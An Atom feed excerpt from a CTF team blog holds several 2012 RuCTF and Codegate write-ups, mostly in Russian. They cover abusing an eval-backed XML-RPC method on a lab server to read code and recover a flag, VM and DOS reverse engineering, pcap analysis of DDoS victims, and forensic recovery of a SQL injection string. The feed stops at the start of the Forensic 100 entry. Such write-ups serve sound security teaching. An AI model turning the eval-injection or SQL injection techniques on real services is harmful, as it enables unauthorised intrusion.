<p>We use "<a href="https://www.dropbox.com/referrals/NTMxMzM1NzQ2OQ?src=global9">Dropbox</a>" shared folders for file sharing. Links are posted into the corresponding wave, if necessary. This allows sharing our ideas easily. It is also very easy to track file modifications due to notifications.</p>

<p>Since the team is geographically distributed, each team member lives in his own time zone. Therefore it's important that everyone can quickly jump into task solving process without lasting explanations from other team members anytime.</p>

<p>In case a task causes difficulties, all it's data are saved into Rizzoma and structured. Thus, we have a knowledge base, which allows us to continue working on a task as soon as new information appears.</p>

<p>In the end of the competition we have a description of all the solved tasks, combined in one place with clear structure. This makes understanding of tasks solving process easier for those who did not take part in the competition. It's also easier to create reports and write-ups this way.</p>]]>
    </content>
</entry>

<entry>
    <title>ructf2012 - Unsupported method</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/03/ructf2012---unsupported-method.html" />
    <id>tag:smokedchicken.org,2012://1.73</id>

    <published>2012-03-18T18:44:42Z</published>
    <updated>2012-03-19T11:12:44Z</updated>

    <summary><![CDATA[У нас есть HTTP сервис 10.0.0.3:8080, отвечающий на запросы следующим образом: GET / HTTP/1.0 HTTP/1.0 501 Unsupported method ('GET') Server: BaseHTTP/0.3 Python/2.7.2+ Date: Sun, 18 Mar 2012 18:50:57 GMT Content-Type: text/html Connection: close &lt;head&gt; &lt;title&gt;Error response&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Error response&lt;/h1&gt;...]]></summary>
    <author>
        <name>kyprizel</name>
        <uri>http://www.kyprizel.net</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[У нас есть HTTP сервис 10.0.0.3:8080, отвечающий на запросы следующим образом:
 
<pre class="brush: plain">
GET / HTTP/1.0

HTTP/1.0 501 Unsupported method ('GET')
Server: BaseHTTP/0.3 Python/2.7.2+
Date: Sun, 18 Mar 2012 18:50:57 GMT
Content-Type: text/html
Connection: close

&lt;head&gt;
&lt;title&gt;Error response&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Error response&lt;/h1&gt;
&lt;p&gt;Error code 501.
&lt;p&gt;Message: Unsupported method ('GET').
&lt;p&gt;Error code explanation: 501 = Server does not support this operation.
&lt;/body&gt;
</pre>

В глаза бросается Python и BaseHTTP, опыт подсказывает, что это XMLRPC сервер.
Пробуем:
<pre class="brush: python">
&gt;&gt;&gt; import xmlrpclib
&gt;&gt;&gt; s = xmlrpclib.ServerProxy('http://10.0.0.3:8080/')
&gt;&gt;&gt; print s.system.listMethods()
['get_answer', 'get_server_var', 'system.listMethods', 'system.methodHelp', 'system.methodSignature']
</pre>
отлично, вызовем get_answer.

<pre class="brush: python">
&gt;&gt;&gt; print s.get_answer()
xmlrpclib.Fault: &lt;Fault 1: &quot;&lt;type 'exceptions.TypeError'&gt;:get_answer() takes exactly 4 arguments (0 giv
en)&quot;&gt;
</pre>

а с параметрами?
<pre class="brush: python">
&gt;&gt;&gt; print s.get_answer(1,2,3,4)
xmlrpclib.Fault: &lt;Fault 1: &quot;&lt;type 'exceptions.ValueError'&gt;:Wrong parameters&quot;&gt;
</pre>

попробуем узнать, что же за параметры нам нужны:
<pre class="brush: python">
&gt;&gt;&gt; print s.system.methodHelp('get_answer')
Returns an answer if params are correct
</pre>

посмотрим вторую функцию.
<pre class="brush: python">
&gt;&gt;&gt; print s.system.methodHelp('get_server_var')
Gets a var from the server
</pre>

попробуем достать ENV?
<pre class="brush: python">
&gt;&gt;&gt; print s.get_server_var('ENV')
xmlrpclib.Fault: &lt;Fault 1: &quot;&lt;type 'exceptions.NameError'&gt;:name 'ENV' is not defined&quot;&gt;
</pre>
может быть ответ?
<pre class="brush: python">
&gt;&gt;&gt; print s.get_server_var('get_answer')
&lt;function get_answer at 0x7f94aff416e0&gt;
</pre>

да ведь это <b>eval</b>!
используя <a href="http://docs.python.org/library/inspect.html">встроенные атрибуты</a>, смотрим, что у нас есть интересного:

<pre class="brush: python">
&gt;&gt;&gt; print s.get_server_var('get_answer.func_globals')
{'__builtins__': &lt;module '__builtin__' (built-in)&gt;, '__file__': '/home/bay/task.py', 'xmlrpclib': &lt;modu
le 'xmlrpclib' from '/usr/lib/python2.7/xmlrpclib.pyc'&gt;, 'SimpleXMLRPCServer': &lt;class SimpleXMLRPCServe
r.SimpleXMLRPCServer at 0x7f94aff376d0&gt;, '__package__': None, 're': &lt;module 're' from '/usr/lib/python2
.7/re.pyc'&gt;, 'get_answer': &lt;function get_answer at 0x7f94aff416e0&gt;, 'get_server_var': &lt;function get_ser
ver_var at 0x7f94aff3f9b0&gt;, '__name__': '__main__', 'server': &lt;SimpleXMLRPCServer.SimpleXMLRPCServer in
stance at 0x7f94b2110f38&gt;, '__doc__': None}
&gt;&gt;&gt; print s.get_server_var('get_answer.func_code.co_varnames')
('a', 'b', 'c', 'd', 'key')
&gt;&gt;&gt; print s.get_server_var('get_answer.func_code.co_consts')
('Returns an answer if params are correct', 79011, 'Wrong parameters', 1702257177, 'The answer is %s')
&gt;&gt;&gt; print s.get_server_var('get_answer.func_code.co_filename')
/home/bay/task.py
</pre>

В константах ключа нет, вероятно он считается динамически, придется реверсить код функции get_answer
<pre class="brush: python">
&gt;&gt;&gt; import dis
&gt;&gt;&gt; dis.dis(s.get_server_var('get_answer.func_code.co_code'))
</pre>
<a href="http://smokedchicken.org/2012/03/19/dis_get_answer.txt">дизассемблированный код функции</a>.

используя имена переменных и константы полученные ранее, восстановим ее псевдокод:

<pre class="brush: python">
def get_answer(a, b, c, d):
    if( a + b != 79011): raise &quot;Wrong parameters&quot;
    if( a != b + c ): raise &quot;Wrong parameters&quot;
    if( c*d != 1702257177 ): raise &quot;Wrong parameters&quot;
    key = str(a) + str(b) + str(c) + str(d)
    return 'The answer is %s' % key
</pre>

Найдем подходящие параметры. 
<pre class="brush: python">
&gt;&gt;&gt; print s.get_answer(39506,39505,1,1702257177)
The answer is 395063950511702257177
</pre>

Но данный ответ не корректен с точки зрения организаторов.
Т.к. система уравнений имеет множество решений,
попробуем поискать параметры, которые будут чем-то выделяться.

<pre class="brush: python">
&gt;&gt;&gt; def get_vals(a):
       b = 79011 - a
       c = a - b
       d = 1702257177/c
       if( c &lt; 0 or 1702257177 % c != 0 ): return None
       return (a,b,c,d)
&gt;&gt;&gt; for i in range(1,79011):
...  if( get_vals(i) != None): print i
... 
39506
39507
39515
39534
39982
40935
48559
55174
66666
&gt;&gt;&gt; get_vals(66666)
(66666, 12345, 54321, 31337)
</pre>

Флаг: <b>66666123455432131337</b>

thanks to @snk.
]]>
        
    </content>
</entry>

<entry>
    <title>ructf2012 - Reverse400 What I do?</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/03/ructf2012-reverse400-what-i-do.html" />
    <id>tag:smokedchicken.org,2012://1.71</id>

    <published>2012-03-18T16:25:18Z</published>
    <updated>2012-03-18T19:05:00Z</updated>

    <summary>В трех словах: виртуальная машина, которая выполняет код производящий операции над матрицей, матрица - это представление графа, а алгоритм это поиск кратчайшего пути. Ответ: Dijkstra В много слов: Программа представляет из себя виртуальную машину, с основной функцей: .text:08048C00 ; char...</summary>
    <author>
        <name>snk</name>
        <uri>https://twitter.com/#!/snkdna</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ructf2012" label="ructf2012" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<big>В трех словах:</big><br>
  виртуальная машина, которая выполняет код производящий операции над матрицей, матрица - это представление графа, а алгоритм это поиск кратчайшего пути.<br>
  Ответ: <strong>Dijkstra</strong><br>
<br>
<big>В много слов:</big><br>
Программа представляет из себя виртуальную машину, с основной функцей:
<pre class="brush: plain">
.text:08048C00 ; char __cdecl vm_exec(struct_vm *vm, int *vm_data)
.text:08048C00 vm_exec         proc near               ; CODE XREF: main+27p
</pre>
Алгоритм интерпретатора довольно простой, в цикле читается однобайтовый опкод команды, после switch и вызывается функция обработчик нужной команды. 
<pre class="brush: c">
    switch ( *code )
    {
      case 1:
        v2 = code + 1;
        opcode_create_class_1(vm, (char *)vm_data + *(_DWORD *)v2);
        code = v2 + 4;
        break;
...
      case 6:
        v7 = code + 1;
        opcode_add(vm, (int *)vm + *v7, (int *)vm + v7[1]);
        code = v7 + 2;
        break;
...
</pre>
Команд всего 19, после непродолжительного анализа мы можем написать свой дизассемблер.
<pre class="brush: python">
def GetMem(start_ea,size):
  r = &quot;&quot;
  for ea in range(start_ea,start_ea+size):
    r += chr(Byte(ea))
  return r

def sign(a):
 if( a &gt;&gt; 15 ):
   return -(65536-a)
 return a

vm_area = 0x0804C080
opcode = [
 {'s':1, 'name':'exit',                 'u':'',         'd':lambda pc,a: &quot;exit&quot; },
 {'s':5, 'name':'class_matrix',         'u':'I',        'd':lambda pc,a: &quot;class_matrix(0x%x) # %d&quot; % (vm_area + a[0],a[0]) },  
 {'s':5, 'name':'class_list',           'u':'I',        'd':lambda pc,a: &quot;class_list(0x%x)   # %d&quot; % (vm_area + a[0],a[0]) },
 {'s':3, 'name':'call_vf1 (get)',       'u':'BB',       'd':lambda pc,a: &quot;matrix%d-&gt;vf1_get_val(r%d)&quot; % (a[0],a[1])      }, 
 {'s':3, 'name':'call_vf2 (set)',       'u':'BB',       'd':lambda pc,a: &quot;matrix%d-&gt;vf2_set_val(r%d)&quot; % (a[0],a[1])      },
 {'s':3, 'name':'cmp',                  'u':'BB',       'd':lambda pc,a: &quot;cmp r%d,r%d&quot; % (a[0],a[1]) },
 {'s':3, 'name':'add',                  'u':'BB',       'd':lambda pc,a: &quot;add r%d,r%d&quot; % (a[0],a[1]) },
 {'s':3, 'name':'sub',                  'u':'BB',       'd':lambda pc,a: &quot;sub r%d,r%d&quot; % (a[0],a[1]) },
 {'s':3, 'name':'call_vf4 (set col) ',  'u':'BB',       'd':lambda pc,a: &quot;matrix%d-&gt;vf4_set_col(r%d)&quot; % (a[0],a[1])    },
 {'s':3, 'name':'call_vf3 (set row)',   'u':'BB',       'd':lambda pc,a: &quot;matrix%d-&gt;vf3_set_row(r%d)&quot; % (a[0],a[1])    },
 {'s':2, 'name':'print',                'u':'B',        'd':lambda pc,a: &quot;print r%d&quot; % (a[0]) },
 {'s':3, 'name':'jmp',                  'u':'H',        'd':lambda pc,a: &quot;jmp 0x%x (%d)&quot; % (pc+1+sign(a[0]),a[0]) },    
 {'s':3, 'name':'jz',                   'u':'H',        'd':lambda pc,a: &quot;jz 0x%x (%d)&quot; % (pc+1+sign(a[0]),a[0]) },     
 {'s':3, 'name':'mov reg, #Imm',        'u':'BB',       'd':lambda pc,a: &quot;mov r%d, %d&quot; % (a[0],a[1]) },
 {'s':2, 'name':'inc reg',              'u':'B',        'd':lambda pc,a: &quot;inc r%d&quot; % (a[0]) }, 
 {'s':2, 'name':'dec reg',              'u':'B',        'd':lambda pc,a: &quot;dec r%d&quot; % (a[0]) }, 
 {'s':3, 'name':'list_has_key',         'u':'BB',       'd':lambda pc,a: &quot;list%d-&gt;has_key(r%d)&quot; % (a[0],a[1])}, 
 {'s':3, 'name':'list_add_item',        'u':'BB',       'd':lambda pc,a: &quot;list%d-&gt;add_item(r%d)&quot; % (a[0],a[1])}, 
 {'s':3, 'name':'mov reg,reg',          'u':'BB',       'd':lambda pc,a: &quot;mov r%d, r%d&quot; % (a[0],a[1]) },
]

def dis(pc = 0x0804C11C, end_pc = 0x0804C1EF):
  while(pc &lt;= end_pc):
    op = Byte(pc)
    add = struct.unpack( opcode[op]['u'], GetMem(pc+1,opcode[op]['s']-1) )
    print &quot;%x: %s&quot; % (pc,opcode[op]['d'](pc,add) )
    pc += opcode[op]['s']
    if( op == 0 ): break
</pre>
Опкоды 1 и 2 создают по новому экземпляру классов MatrixGraph и PointerToGraph, у меня они называются для простоты matrix и list. Так же есть несколько опкодов, которые вызывают виртуальные функции этих классов.
<br>
Запустим наш дизассемблер получим следующий листинг:
<pre class="brush: plain">
804c11c: class_matrix(0x804c084) # 4
804c121: class_list(0x804c118) # 152
804c126: mov r0, 0
804c129: matrix0-&gt;vf2_set_val(r0)
804c12c: mov r0, 6
804c12f: mov r3, 0
804c132: dec r3
804c134: mov r1, 0
804c137: mov r2, 5
804c13a: cmp r1,r2
804c13d: jz 0x804c174 (54)
804c140: list1-&gt;has_key(r1)
804c143: jz 0x804c16f (43)
804c146: mov r5, 0
804c149: dec r5
804c14b: cmp r5,r3
804c14e: jz 0x804c154 (5)
804c151: jmp 0x804c16c (26)
804c154: matrix0-&gt;vf3_set_row(r1)
804c157: matrix0-&gt;vf4_set_col(r1)
804c15a: matrix0-&gt;vf1_get_val(r4)
804c15d: matrix0-&gt;vf4_set_col(r3)
804c160: matrix0-&gt;vf3_set_row(r3)
804c163: matrix0-&gt;vf1_get_val(r5)
804c166: cmp r4,r5
804c169: jz 0x804c16f (5)
804c16c: mov r3, r1
804c16f: inc r1
804c171: jmp 0x804c13a (65480)
804c174: matrix0-&gt;vf3_set_row(r3)
804c177: matrix0-&gt;vf4_set_col(r3)
804c17a: matrix0-&gt;vf1_get_val(r4)
804c17d: mov r5, 0
804c180: dec r5
804c182: cmp r5,r4
804c185: jz 0x804c191 (11)
804c188: cmp r4,r5
804c18b: jz 0x804c191 (5)
804c18e: jmp 0x804c1db (76)
804c191: list1-&gt;add_item(r3)
804c194: mov r1, 0
804c197: mov r2, 5
804c19a: cmp r1,r2
804c19d: jz 0x804c1d2 (52)
804c1a0: matrix0-&gt;vf4_set_col(r3)
804c1a3: matrix0-&gt;vf3_set_row(r1)
804c1a6: matrix0-&gt;vf1_get_val(r2)
804c1a9: matrix0-&gt;vf3_set_row(r3)
804c1ac: matrix0-&gt;vf1_get_val(r5)
804c1af: matrix0-&gt;vf4_set_col(r1)
804c1b2: matrix0-&gt;vf3_set_row(r1)
804c1b5: matrix0-&gt;vf1_get_val(r4)
804c1b8: add r2,r5
804c1bb: cmp r2,r4
804c1be: jz 0x804c1ca (11)
804c1c1: matrix0-&gt;vf4_set_col(r1)
804c1c4: matrix0-&gt;vf3_set_row(r1)
804c1c7: matrix0-&gt;vf2_set_val(r2)
804c1ca: inc r1
804c1cc: mov r2, 5
804c1cf: jmp 0x804c19a (65482)
804c1d2: dec r0
804c1d4: mov r2, 0
804c1d7: cmp r0,r2
804c1da: jz 0x804c12f (65364)
804c1dd: mov r2, 0
804c1e0: mov r2, 5
804c1e3: matrix0-&gt;vf4_set_col(r2)
804c1e6: matrix0-&gt;vf3_set_row(r2)
804c1e9: matrix0-&gt;vf1_get_val(r0)
804c1ec: print r0
804c1ee: exit
</pre>
После анализа приблизительный псевдокод будет следующим:
<pre class="brush: c">
m = class_matrix(0x804c084);
list = class_list(0x804c118)
m[0,0]=0
for(j=0;j&lt;=5;j++){
    r3 = 0xFFFFFFFF;
    for (r1 = 0; r1 &lt;= 5; r1++) {
        if( list1-&gt;has_key(r1) ) continue
        if(0xFFFFFFFF &lt;= r3){
            r3 = r1
        }else if(m[r1,r1] &gt; m[r3,r3]){
            r3 = r1
        }
    }

    if( 0xFFFFFFFF &gt; m[r3,r3] &amp;&amp; m[r3,r3]&gt;0xFFFFFFFF){
        while (1); //error !?
    }

    list-&gt;add_item(r3)

    for (r1; r1&lt;=5; r1++) {
        if( m[r3,r1] + m[r3,r3] &lt;= m[r1,r1] ){
            m[r1,r1] = r2
        }
    }
}

print m[0,0]
exit
</pre>
Имея подсказку, в виде названия класса MatrixGraph, понимаем что матрица представляет из себя форму хранения графа (см <a href="http://en.wikipedia.org/wiki/Adjacency_matrix">http://en.wikipedia.org/wiki/Adjacency_matrix</a>), а сам алгоритм это поиск кратчайшего пути или алгоритм Дейкстры. Ответ к задаче будет: Dijkstra.]]>
        
    </content>
</entry>

<entry>
    <title>ructf2012 - Reverse300 $1/\/\PL3</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/03/ructf2012-reverse300.html" />
    <id>tag:smokedchicken.org,2012://1.72</id>

    <published>2012-03-18T16:21:00Z</published>
    <updated>2012-03-18T19:02:32Z</updated>

    <summary>В трех словах: com файл, подмена прерываний, самораспаковка, считываем с клавиатуры пароль, расшифровываем строку Ответ: Bi11_i5_pr0|_|d_0|=_y0|_| В много слов: Выполнение начинается с вызова функции seg000:0245 call sub_1028D которая является своеобразным шлюзом для вызова других функций из таблицы, которая расположена по...</summary>
    <author>
        <name>snk</name>
        <uri>https://twitter.com/#!/snkdna</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ructf" label="ructf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ructf2012" label="ructf2012" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[<big>В трех словах:</big><br> 
  com файл, подмена прерываний, самораспаковка, считываем с клавиатуры пароль, расшифровываем строку<br>
<strong>  Ответ: Bi11_i5_pr0|_|d_0|=_y0|_|</strong><br>
<br>
<big>В много слов:</big><br>
Выполнение начинается с вызова функции<br>
<pre class="brush: plain">
seg000:0245                 call    sub_1028D
</pre>
которая является своеобразным шлюзом для вызова других функций из таблицы, которая расположена по адресу 27Fh
<pre class="brush: plain">
seg000:02A8                 mov     ax, [bx+27Fh]
seg000:02AC                 push    ax
</pre>
сама таблица содержит 7 функций, но часть кода зашифровано
<pre class="brush: plain">
seg000:027F off_1027F       dw offset f1_save_int1c
seg000:0281                 dw offset f2_save_int9
seg000:0283                 dw offset f3_save_int20
seg000:0285                 dw offset f4_restore_int1c
seg000:0287                 dw offset f5_restore_int20
seg000:0289                 dw offset f6_restore_int9
seg000:028B                 dw offset f7_print_string
</pre>
Вначале управление передается на функцию:
<pre class="brush: plain">
seg000:0179 proc            f1_save_int1c near
</pre>
Действия её сводится к следующему:
<ol>
	<li>вызов sub_1028D, которая в свою очередь вызовет уже вторую функцию f2_save_int9 (сохранит вектор 9го прерывания)</li>
	<li>сохранит вектор 1C прерывания</li>
	<li>вызов sub_1028D -> f3_save_int20</li>
	<li>установка нового вектора прерывания таймера</li>
</ol><br>
Давайте посмотрим новую функцию таймера<br>
<pre class="brush: plain">
seg000:0104 proc            int_1C near 
</pre>
Первым делом она устанавливает новые обработчики прерываний 0x9 и 0x20, далее она считает контрольную сумму самого себя с адреса 0x248 по 0x27B.
<pre class="brush: plain">
seg000:0115                 mov     bx, offset sub_10248
seg000:0118                 mov     [check_sum], 0
seg000:011D
seg000:011D loc_1011D:                              ; CODE XREF: int_1C+26j
seg000:011D                 cmp     bx, offset unk_1027B
seg000:0121                 jz      short loc_1012C
seg000:0123                 mov     al, [bx]
seg000:0125                 add     [check_sum], al
seg000:0129                 inc     bx
seg000:012A                 jmp     short loc_1011D
seg000:012C                 mov     bl, [check_sum]
seg000:0130                 and     bl, 0Fh         ; 8
seg000:0133                 mov     [check_sum], bl
</pre>
Полученной контрольной суммой расшифровываются (0x248,0x27B), (0x1AA,0x1E1) (0x205,0x214) ниже скрипт для расшифровки:
<pre class="brush: python">
sum = 0
for ea in range(0x10248,0x1027B):
   sum += Byte(ea)
sum &amp;= 0xF

for ea in range(0x10248,0x1027B):
  PatchByte(ea,Byte(ea)^sum)
for ea in range(0x101AA,,0x101E1):
  PatchByte(ea,Byte(ea)^sum)
for ea in range(0x10205,0x10214):
  PatchByte(ea,Byte(ea)^sum)
</pre>
Дальше выполнение программы вернется на 0x248, где в цикле с клавиатуры считывается 16 символьный пароль, считается сумма всех символов и этим ключем расшифровывается строка расположенная по адресу 0x02C0. Если сумма расшифрованной программы равно 0ADh, то мы выводим её.
<pre class="brush: plain">
seg000:0260 loc_10260:                              ; CODE XREF: sub_10248+23j
seg000:0260                 mov     bx, offset unk_102BE
seg000:0263                 add     bx, cx
seg000:0265                 xor     [bx+1], dh
seg000:0268                 add     dl, [bx+1]
seg000:026B                 loop    loc_10260
seg000:026D                 cmp     dl, 0ADh
seg000:0270                 jnz     short locret_10279
seg000:0272                 mov     ah, 9
seg000:0274                 mov     dx, 2BEh
seg000:0277                 int     21h             ; DOS - PRINT STRING
seg000:0277                                         ; DS:DX -&gt; string terminated by &quot;$&quot;
</pre>
Поскольку размер ключа у нам всего 1байт, а последний символ должен быть '$' мы можем перебрать все значения (на самом деле его можем просто вычислить) и найти верный ключ, которым расшифровав строку получим
'90 |)33P3r$'<br>
<br>
Идем дальше, смотрим прерывания int9, прерывание от клавиатуры. Что оно делает? Читает с контроллера прерываний сканкод нажатой клавишы, после этого суммирует значение первых 16 нажатых клавиш и вызывает функцию расшифровки второй для второй строки, расположеной по адресу 0x02CD.
<pre class="brush: plain">
seg000:01AA proc            decrypt_str2 near       ; CODE XREF: seg000:01DEp
seg000:01AA                                         ; DATA XREF: int_1C:loc_1014Bo
seg000:01AA                 mov     cx, 19h
seg000:01AD
seg000:01AD loc_101AD:                              ; CODE XREF: decrypt_str2+16j
seg000:01AD                 mov     bx, 2CDh
seg000:01B0                 add     bx, cx
seg000:01B2                 mov     al, [bx]
seg000:01B4                 xor     al, [key1]
seg000:01B8                 rol     al, cl          ; rol(b[i]^key,i)
seg000:01BA                 mov     [bx], al
seg000:01BC                 add     [key2], al
seg000:01C0                 loop    loc_101AD
seg000:01C2                 retn
seg000:01C2 endp            decrypt_str2
</pre>
<pre class="brush: python">
def decrypt(s,key):
   r = []
   for i in range(0x19,-1,-1):
      r.append( rol(s[i]^key,i%8) )
   return r

s = []
for ea in range(0x102CD,0x102CD+26):
   s.append(Byte(ea))

for i in range(256):
  a = map(chr,decrypt(s,i))
  if( a[0] == '$'):
    a.reverse()
    print &quot;&quot;.join(a)
</pre>
На выходе получаем строку: '\x19i11_i5_pr0|_|d_0|=_y0|_|$'<br>
Однако, asm код не расшифровает первый символ строки, поэтому оставив его без изменений получим правильный ответ: <strong>Bi11_i5_pr0|_|d_0|=_y0|_|</strong>]]>
        
    </content>
</entry>

<entry>
    <title>Codegate Quals - Network 200</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/02/codegate-ctf-quals---network-200.html" />
    <id>tag:smokedchicken.org,2012://1.70</id>

    <published>2012-02-28T01:23:06Z</published>
    <updated>2012-04-06T03:50:16Z</updated>

    <summary>In this problem a team is expected to find top 4 victims of DDoS attack logged in pcap file (73992 entries). Bare wireshark is not that effective in finding top victims, so we wrote some filtering script to produce a...</summary>
    <author>
        <name>盗賊</name>
        <uri>http://maratto.blogspot.com</uri>
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[In this problem a team is expected to find top 4 victims of DDoS attack logged in pcap file (73992 entries).

Bare wireshark is not that effective in finding top victims, so we wrote some filtering script to produce a kind of overview through the pcap file.

Quick and dirty script, which will print all IPs sorted by the number of packets sent to:
<pre class="brush: perl">
use Net::Pcap::Easy;
use Geo::IPfree;

my (%to,%from);

my $gi = Geo::IPfree-&gt;new;
my $npe = Net::Pcap::Easy-&gt;new(
        dev =&gt; &quot;file:./A565CF2670A7D77603136B69BF93EA45.cap&quot;,
        default_callback =&gt; sub {
                my ($npe, $ether, $ip) = ($_[0],$_[1],$_[2]);
                return 0 unless $ip;
                $to{$ip-&gt;{dest_ip}}++; # if $ip-&gt;{src_ip} eq '1.2.3.4';
                $from{$ip-&gt;{src_ip}}++; # if $ip-&gt;{dest_ip} eq '1.2.3.4';
        },
);

1 while $npe-&gt;loop;

map{
        print &quot;$_ &gt;$to{$_} &lt;$from{$_}\t# &quot;.($gi-&gt;LookUp($_))[1].&quot;\n&quot;
   }sort{
        $to{$b}&lt;=&gt;$to{$a}
   }keys %to;
</pre>

This script produces output like this
<pre class="brush: text">
111.221.70.11 &gt;52620 &lt;  # Singapore
1.2.3.4 &gt;12670 &lt;8690    # Australia
109.123.118.42 &gt;2960 &lt;5325      # United Kingdom
174.35.40.44 &gt;637 &lt;1142 # United States
220.73.139.203 &gt;452 &lt;650        # Korea, Republic of
123.214.170.56 &gt;375 &lt;713        # Korea, Republic of
199.7.48.190 &gt;311 &lt;304  # United States
220.73.139.201 &gt;280 &lt;407        # Korea, Republic of
8.8.8.8 &gt;248 &lt;248       # United States
74.125.71.94 &gt;208 &lt;180  # United States
...
</pre>

Obviously 111.221.70.11 is DoSed with spoofed IPs: 52620 packets sent and none received. It can easily be confirmed in wireshark.

Next, 1.2.3.4 is the infected machine, since it is communicates with all other hosts.

Next, 109.123.118.42 is a potential target, because of the big disproportion in sent/received ratio.

So, that's it for now. Switch to wireshark and try to find RUDY: "http.content_length_header > 10000", 199.7.48.190 seems suspicious. After confirmation you can see that it is RUDY (POST request with a very big Content-Length).

To find Slowloris we need to modify the above perl script slightly to find unusual http headers. You might want to prefilter pcap-file by "http.request" in wireshark and save it as. Then modify default_callback with <pre class="brush: perl">(split &quot;\n\n&quot;,$_[3])[0]=~/X-(\w+)/&amp;&amp;print $1</pre> and you'll see all the unusual headers. In this case there were no Slowloris attack though.

Then we decided to go manually through the list of victims from the top. We found the last victim:
66.150.14.48 from United States is attacked with RST flood.

Answer format is COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4, so the correct answer is:
<strong>none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48</strong>]]>
        
    </content>
</entry>

<entry>
    <title>Codegate Quals - Forensic 200</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/02/codegate-ctf-writeup-forensic-200.html" />
    <id>tag:smokedchicken.org,2012://1.69</id>

    <published>2012-02-26T19:53:28Z</published>
    <updated>2012-02-28T03:33:16Z</updated>

    <summary>Here was a archived Users folder too (C1E4775363DE0885E8360ED9A13A86B8). So, Forensic 200 task also had a straight way solution. We know that possible place for sensitive information is in browser profile or may be in browser crashdump. Really, in \Users\proneer\AppData\Roaming\Mozilla\Firefox\Profiles\ you...</summary>
    <author>
        <name>Юрий Леонычев</name>
        
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="2012" label="2012" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="codegate" label="codegate" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="forensic200" label="forensic200" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="writeup" label="writeup" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Here was a archived Users folder too (<a href="http://smokedchicken.org/C1E4775363DE0885E8360ED9A13A86B8">C1E4775363DE0885E8360ED9A13A86B8</a>).<br> So, Forensic 200 task also had a straight way solution. We know that possible place for sensitive information is in browser profile or may be in browser crashdump.<br> Really, in <em>\Users\proneer\AppData\Roaming\Mozilla\Firefox\Profiles\</em> you can find a profile <em>075lfxbt.default</em>.<br> Mozilla stores in profiles huge amount of juicy info, but in our case we are interested in one special file <strong>sessionstore.js</strong> (you can read Mozilla <a href="http://kb.mozillazine.org/Sessionstore.js">article</a> about session store).<br> This file contains session info in JSON format. You can see very interesting data there:<br> 
<br>
<pre class="brush: javascript">
{&quot;url&quot;:&quot;http://forensic-proof.com/&quot;, ... 
input[@name='s']:&quot;1_UNI/**/ON_SELECT&quot;} ... 
{&quot;state&quot;:&quot;running&quot;,&quot;lastUpdate&quot;:1329009797205 ... 
</pre>
<br>
Well, we have a injection value:"1_UNI/**/ON_SELECT" and timestamp:"1329009797". Convert timestamp to date and time: 2012-02-12 10:23:17+09:00 (Seul timezone).<br><br>
And our flag is <strong>1_UNI/**/ON_SELECT|2012-02-12T10:23:17+09:00</strong>]]>
        
    </content>
</entry>

<entry>
    <title>Codegate Quals - Forensic 100</title>
    <link rel="alternate" type="text/html" href="http://smokedchicken.org/2012/02/codegate-ctf-writeup-forensic-100.html" />
    <id>tag:smokedchicken.org,2012://1.68</id>

    <published>2012-02-26T18:56:07Z</published>
    <updated>2012-04-05T09:06:36Z</updated>

    <summary>Well, here we have a archived copy of Windows Users folder (525321B9CEDAF3C8D35FC9071D5DD237). This is a very easy task, that can be solved in three steps: Let&apos;s find a stolen file, make .xls search in given folders (especially in \Users\proneer\AppData\Roaming\Microsoft\Office\Recent), and...</summary>
    <author>
        <name>Юрий Леонычев</name>
        
    </author>
    
        <category term="CTF" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="codegate" label="codegate" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="ctf" label="ctf" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="forensic100" label="forensic100" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="writeup" label="writeup" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://smokedchicken.org/">
        <![CDATA[Well, here we have a archived copy of Windows Users folder (<a href="http://smokedchicken.org/525321B9CEDAF3C8D35FC9071D5DD237">525321B9CEDAF3C8D35FC9071D5DD237</a>).<br>
